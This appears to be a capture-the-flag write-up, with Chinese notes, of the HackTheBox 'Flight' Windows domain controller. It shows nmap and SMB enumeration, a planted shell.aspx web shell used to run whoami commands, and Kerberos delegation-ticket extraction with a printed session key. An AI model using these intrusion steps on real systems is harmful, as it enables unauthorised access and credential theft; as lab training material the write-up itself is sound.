PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 |_http-title: g0 Aviation | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-1315:06:38Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 101903 - 22H2 (91%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 111.13 seconds
DNS / Kerberos / LDAP / SMB 全开
域名 flight.htb
1
echo "10.129.228.120 flight.htb" | sudo tee -a /etc/hosts
smbclient -L //10.129.228.120 -U 'flight.htb/S.Moon' Password for [FLIGHT.HTB\S.Moon]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shared Disk SYSVOL Disk Logon server share Users Disk Web Disk SMB1 disabled -- no workgroup available
C:\inetpub\temp>cd IIS Temporary Compressed Files cd IIS Temporary Compressed Files Access is denied.
C:\inetpub\development>dir dir Volume in drive C has no label. Volume Serial Number is 1DF4-493D
Directory of C:\inetpub\development
07/13/2026 11:12 AM <DIR> . 07/13/2026 11:12 AM <DIR> .. 04/16/2018 02:23 PM 9,371 contact.html 07/13/2026 11:12 AM <DIR> css 07/13/2026 11:12 AM <DIR> fonts 07/13/2026 11:12 AM <DIR> img 04/16/2018 02:23 PM 45,949 index.html 07/13/2026 11:12 AM <DIR> js 2 File(s) 55,320 bytes 6 Dir(s) 5,106,491,392 bytes free
发现还有一个 IIS 网站
1 2 3 4 5 6 7 8 9 10 11 12 13
Contact Information Pellentesque quis turpis et lectus auctor gravida ut vel orci. Proin et tempus nunc. Proin sed justo neque. Donec et tempus ligula, et gravida elit. Vivamus vitae placerat metus.
Proin dignissim rhoncus Aliquam elit metus, varius in ligula sed, posuere aliquam nibh. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Duis vel rhoncus lectus.
Duis vehicula quis elit Donec nisl felis, eleifend eu diam ut, condimentum finibus erat. Aliquam luctus commodo ultricies. Etiam in tellus mi. Nam lobortis est magna, et rutrum ipsum lacinia id.
Duis vel rhoncus lectus Mauris aliquet eget lorem a tempor. Morbi in dui sed orci placerat ultrices sed a mi. Praesent eget porttitor enim. In tempor eros mi. Morbi a lobortis ante. Sed blandit vitae diam commodo ultricies.
Leave us a message
WebDev 组 这个 IIS 权限似乎更大 IS Temporary Compressed Files Access is denied.的
1
echo test > C:\inetpub\development\development\1.txt
C:\inetpub\development>dir 07/13/2026 11:38 AM <DIR> . 07/13/2026 11:38 AM <DIR> .. 07/13/2026 11:37 AM <DIR> development 07/13/2026 11:38 AM 221 shell.aspx 1 File(s) 221 bytes 3 Dir(s) 5,102,972,928 bytes free
C:\inetpub\development>curl http://127.0.0.1:8000/shell.aspx?c=whoami curl http://127.0.0.1:8000/shell.aspx?c=whoami % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 31 100 31 0 0 17 0 0:00:01 0:00:01 --:--:-- 17 iis apppool\defaultapppool
curl http://127.0.0.1:8000/shell.aspx?c=%77%68%6f%61%6d%69%20%2f%70%72%69%76 // whoami /priv Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
IIS 虚拟账户有特殊属性: “Services that run as virtual accounts access network resources by using the credentials of the computer account in the format <domain>\<computer>.”
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb' [+] Kerberos GSS-API initialization success! [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: qmPBYjj2EUQB76k3YZ8ZXLUSYgkbqFqKzMN+Ywf10fM= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi):